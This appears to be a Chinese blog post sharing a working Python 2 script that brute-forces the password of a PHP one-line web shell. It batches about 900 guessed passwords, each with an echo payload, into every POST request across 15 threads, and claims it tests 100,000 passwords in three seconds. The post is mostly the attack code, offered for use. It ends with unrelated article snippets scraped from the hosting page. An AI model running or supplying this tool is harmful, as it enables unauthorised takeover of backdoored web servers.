一句话爆破速度提升一千倍python脚本

这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本

本地测试了下,十万密码只需要3秒,速度还是可以的

# coding:utf-8
# __author__ : learn

import threading,Queue,requests

class Add_password:

    def __init__(self,dictname,queue):
        self.dictname = dictname
        self.queue = queue

    # 加载字典 以\n分割 保存到list
    def load_file(self):
        with open(self.dictname,‘r‘) as f:
            lines = f.readlines()

        return map(lambda x:x.split(‘\n‘)[0],lines)

    #========================
    ‘‘‘分割数量大于 900 密码数量的字典算法
    因为apache 最多传入1000个参数。 如果 密码数量大于900 就分割字典 

    ‘‘‘
    def split_file(self):
        file_read = self.load_file()
        file_list = []
        if len(file_read) < 900:
            file_list.append(file_read)
        elif len(file_read)%900 !=0 and len(file_read)/900 >= 1:
            split_num = len(file_read)

            for num in range(split_num/900-1):
                file_list.append(file_read[num*900:num*900+900])
            file_list.append(file_read[split_num/900*900:])
        return file_list

    # 主要的部分  用来生成payload 加入队列
    # 待post参数的格式为 {"pass":"echo ‘pass‘;","pass2":"echo ‘pass2‘;",...}
    def main(self):
        php_passwords = self.split_file()
        for q in php_passwords:
            payloads = [x for x in q]
            payload = map(lambda x:{x:"echo ‘%s‘;"%x},payloads)
            payload = reduce(lambda x,y:dict(x,**y),payload)
            self.queue.put(payload)
        return

class Main(threading.Thread):

    def __init__(self,url,queue):
        threading.Thread.__init__(self)
        self.url = url
        self.queue = queue
        self.payloads = {}

    def run(self):
        while True:
            if self.queue.empty():
                break
            data = self.queue.get_nowait()
            req = requests.post(self.url,data=data)

            #这里我判断的是 post之后的页面有没有echo的值 导致脚本局限性很大。
            if req.content != ‘‘:
                print ‘Password Found: ‘+req.content
                exit(0)

if __name__ == ‘__main__‘:
    import sys

    threads = []
    q = Queue.Queue(maxsize=0)

    args = sys.argv
    if len(args)<3 or args[1][:4]!=‘http‘ or args[2][-3:] != ‘txt‘:
        print ‘usage: python %s [url]http://www.xxx.com/shell[/url],php password.txt‘%args[0]
        sys.exit(0)

    Add_password(args[2],q).main()
    for i in range(15):#这里可以适当的修改,速度会提高
        threads.append(Main(args[1],q))

    for t in threads:
        t.start()

    for j in threads:
        j.join()
时间: 2024-10-30 21:20:23

一句话爆破速度提升一千倍python脚本的相关文章

深深感受 Promise.all 带来的速度提升

什么是Promise Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大.(摘抄自 阮一峰老师的 ECMAScript 6 入门).具体请查看阮一峰老师的这部书,写得很棒! Promise.all Promise.all 方法主要用于将多个Promise实例,包装成一个新的Promise 数组实例.接受的是一个数组作为参数. const results = Promise.all([p1,p2,p3]); 上图中 p1, p2, p3 分别都是Prom

如何将 iOS 工程打包速度提升十倍以上

如何将 iOS 工程打包速度提升十倍以上 过慢的编译速度有非常明显的副作用.一方面,程序员在等待打包的过程中可能会分心,比如刷刷朋友圈,看条新闻等等.这种认知上下文的切换会带来很多隐形的时间浪费.另一方面,大部分 app 都有自己的持续集成工具,如果打包速度太慢, 会影响整个团队的开发进度. 因此,本文会分别讨论日常开发和持续集成这两种场景,分析打包速度慢的瓶颈所在,以及对应的解决方案.利用这些方案,笔者成功的把公司 app 的持续集成时间从 45 min 成功的减少到 9 min,效率提升高达

使用Apache Spark 对 mysql 调优 查询速度提升10倍以上

在这篇文章中我们将讨论如何利用 Apache Spark 来提升 MySQL 的查询性能. 介绍 在我的前一篇文章Apache Spark with MySQL 中介绍了如何利用 Apache Spark 实现数据分析以及如何对大量存放于文本文件的数据进行转换和分析.瓦迪姆还做了一个基准测试用来比较 MySQL 和 Spark with Parquet 柱状格式 (使用空中交通性能数据) 二者的性能. 这个测试非常棒,但如果我们不希望将数据从 MySQL 移到其他的存储系统中,而是继续在已有的

数据预处理速度高倍提升,3行python代码简单搞定!

Python 是机器学习领域内的首选编程语言,它易于使用,也有很多出色的库来帮助你更快处理数据.但当我们面临大量数据时,一些问题就会显现-- 目前,大数据(Big Data)这个术语通常用于表示包含数十万数据点的数据集.在这样的尺度上,工作进程中加入任何额外的计算都需要时刻注意保持效率.在设计机器学习系统时,数据预处理非常重要--在这里,我们必须对所有数据点使用某种操作. 在默认情况下,Python 程序是单个进程,使用单 CPU 核心执行.而大多数当代机器学习硬件都至少搭载了双核处理器.这意味

【前端页面优化】改善你的jQuery的25个步骤 千倍级效率提升

1.从Google Code加载jQuery Google Code上已经托管了多种JavaScript类库,从Google Code上加载jQuery比直接从你的服务器加载更有优势.它节省了你服务器上的带宽,能够很快的从Google的内容分布网络(CDN)上加载JS类库.更重要的是,如果用户访问那些发布在Google Code上的站点后它会被缓存下来. 这样做很有意义.有多少站点使用了没有被缓存的相同jQuery副本,而这些很容易做到,引入: <script type="text/jav

分享一句话:“比你优秀十倍的人,在用着比你勤奋十倍的速度,让自己变的更优秀”

进来和老前辈在qq上有过一次交流,一句话,让我感概颇多,之后深深的印在了脑海中,把这句话晒出来,激励下自己 6月19日 02:00  澳大利亚vs荷兰刚刚结束不久, 登录qq,修改状态 ...... ...... ocle:更新状态,看球呢? 我:哈哈,是啊,你也看了 ocle:支持荷兰 ...... ...... 我:最近还很忙呢? ocle:还是老样子,事情多.最近oracle看的怎么样了? 我:不停的学习中,感觉知识太庞杂了. ocle:这是正常的,知识与实践需要不断的往复进行,只要用心去

Elasticsearch聚合优化 | 聚合速度提升5倍

https://blog.csdn.net/laoyang360/article/details/79253294 1.聚合为什么慢?大多数时候对单个字段的聚合查询还是非常快的, 但是当需要同时聚合多个字段时,就可能会产生大量的分组,最终结果就是占用 es 大量内存,从而导致 OOM 的情况发生. 实践应用发现,以下情况都会比较慢: 1)待聚合文档数比较多(千万.亿.十亿甚至更多): 2)聚合条件比较复杂(多重条件聚合): 3)全量聚合(翻页的场景用). 2.聚合优化方案探讨优化方案一:默认深度

PHP NG (PHP 5.7) 性能比 PHP 5.6 提升近 1 倍

PHP NG (你要愿意的话叫 PHP 5.7 也行)目前还在 alpha 开发阶段,但已经显示出惊人的性能提升.关键是仍保持对 PHP 5.6 的兼容性. Dmitry Stogov 在今年1月中旬的 首次发布 以及5月初的 里程碑更新 后对 PHP 速度的提升有着越来越多的思路(特别贡献者来自 Xinchen Hui , Nikita Popov 等). 昆明国防路医院表示到了7月中旬这些努力终于有了结果,测试表明开发中的版本性能对比 PHP 5.6 有着近乎 1 倍的提升.测试是在渲染 W

paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用.

#----为什么要设计堆栈,它有什么独特的用途? 为了性能 ....  堆比栈的性能 也有的说法为了编程容易...这个是错误的.因为使用堆+func也能实现编程简单地.. #----为什么stack 比堆快,stackAccess 要快两到三倍 主要的2点::  使用堆额外的操作多,而且机器硬件上直接支持栈操作.. 堆栈都是一段内存条中的内存区域,感觉上,应该上没有多大的访问速度差别..但是,实际上,还是有很大的的速度效率区别.. 1.存取路径短1倍. 堆的分配/释放都要比栈要慢的多 结论:可以